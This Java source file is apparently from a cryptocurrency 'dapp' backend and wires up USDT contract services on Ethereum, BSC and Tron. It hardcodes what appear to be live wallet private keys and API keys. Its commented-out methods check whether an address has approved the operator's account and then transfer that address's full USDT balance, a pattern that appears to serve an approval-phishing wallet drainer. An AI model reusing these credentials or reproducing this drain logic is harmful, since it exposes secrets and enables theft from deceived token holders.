package cc.mrbird.febs.dapp.chain;
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import cc.mrbird.febs.common.exception.FebsException;
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import cn.hutool.core.util.StrUtil;
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import cn.hutool.http.HttpUtil;
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import com.alibaba.fastjson.JSONObject;
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import org.springframework.data.repository.query.ParameterOutOfBoundsException;
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import java.math.BigDecimal;
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import java.math.BigInteger;
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import java.rmi.activation.UnknownObjectException;
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/**
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* @author
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* @date 2022-03-23
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**/
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public class ChainService {
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private final static String TRX_ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
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private final static String TRX_PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
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private final static String TRX_CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
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private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
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private final static String ETH_URL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
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private final static String ETH_ADDRESS = "0x6c5640c572504a75121e57760909a9dd0E672f2D";
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private final static String ETH_PRIVATE = "77f650768ff50a4243c008fbae1be9ffe74c52908ee9081e2e15f3d3411690bb";
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private final static String ETH_CONTRACT_ADDRESS = "0xdac17f958d2ee523a2206206994597c13d831ec7";
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private final static String BSC_URL = "https://bsc-dataseed.binance.org";
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private final static String BSC_ADDRESS = "0x971c09aA9735EB98459B17EC8b48932D24CbB931";
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private final static String BSC_PRIVATE = "0x5f38d0e63157f535fc21f89ea13ec3cd245691c20795c1d2cb60233b3ba7bb47";
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private final static String BSC_CONTRACT_ADDRESS = "0x55d398326f99059fF775485246999027B3197955";
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private final static ContractChainService ETH = new EthService(ETH_URL, ETH_ADDRESS, ETH_PRIVATE, ETH_CONTRACT_ADDRESS);
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private final static ContractChainService BSC = new EthService(BSC_URL, BSC_ADDRESS, BSC_PRIVATE, BSC_CONTRACT_ADDRESS);
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private final static ContractChainService TRX = new TrxService(TRX_ADDRESS, TRX_PRIVATE, TRX_CONTRACT_ADDRESS, API_KEY);
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private final String ETH_PREFIX = "0x";
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private ChainService() {
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}
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public final static ChainService INSTANCE = new ChainService();
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public static ContractChainService getInstance(String chainType) {
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switch (chainType) {
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case "ETH" :
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return ETH;
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case "BSC" :
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return BSC;
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case "TRX" :
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return TRX;
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default:
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break;
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}
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throw new FebsException("参数错误");
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}
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public static void main(String[] args) {
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// 0x391040eE5F241711E763D0AC55E775B9b4bD0024 0x977A9dDFb965a9A3416Fa72cA7F91c4949c18f25
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System.out.println(getInstance("BSC").balanceOf("0x977a9ddfb965a9a3416fa72ca7f91c4949c18f25"));
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// System.out.println(getInstance("BSC").decimals());;
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// System.out.println(getInstance("ETH").allowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
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}
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//
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// /**
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// * 获取制定账号的USDT余额
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// *
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// * @param address
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// * @return
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// */
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// public BigDecimal balanceOf(String address) {
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// BigDecimal balance = BigDecimal.ZERO;
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// if (address.contains(ETH_PREFIX)) {
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// balance = ETH.tokenGetBalance(address);
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// } else {
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// balance = TRX.balanceOf(address);
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// }
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// return balance;
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// }
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//
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// /**
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// * 判断地址是否授权给制定账户
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// *
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// * @param address
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// * @return
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// */
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// public boolean isAllowance(String address) {
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// BigInteger result;
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// if (address.startsWith(ETH_PREFIX)) {
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// result = ETH.ethAllowance(address);
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// } else {
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// result = TRX.allowance(address);
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// }
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//
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// return result.intValue() != 0;
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// }
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//
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// /**
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// * 获取地址授权数量
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// *
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// * @param address
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// * @return
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// */
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// public int allowanceCnt(String address) {
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// String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address);
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// String total = JSONObject.parseObject(response).getString("total");
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// return Integer.parseInt(total);
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// }
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//
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// public String transfer(String address) {
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// BigDecimal amount = balanceOf(address);
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//
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// return transfer(address, amount);
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// }
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//
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// public String transfer(String address, BigDecimal amount) {
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// String hash;
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// if (address.startsWith(ETH_PREFIX)) {
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// String resp = HttpUtil.get("https://etherscan.io/autoUpdateGasTracker.ashx?sid=75f30b765180f29e2b7584b8501c9124");
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// JSONObject data = JSONObject.parseObject(resp);
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// hash = ETH.approveTransfer(address, amount, data.getString("avgPrice"));
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// } else {
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// hash = TRX.transfer(address, amount);
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// }
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// return hash;
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// }
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//
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// public static void main(String[] args) {
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//// System.out.println(ChainService.INSTANCE.transfer("0x391040eE5F241711E763D0AC55E775B9b4bD0024", BigDecimal.valueOf(5)));
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//
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//// System.out.println(new EthService().ethAllowance("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
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// System.out.println(ChainService.INSTANCE.balanceOf("0x391040eE5F241711E763D0AC55E775B9b4bD0024"));
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// }
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}
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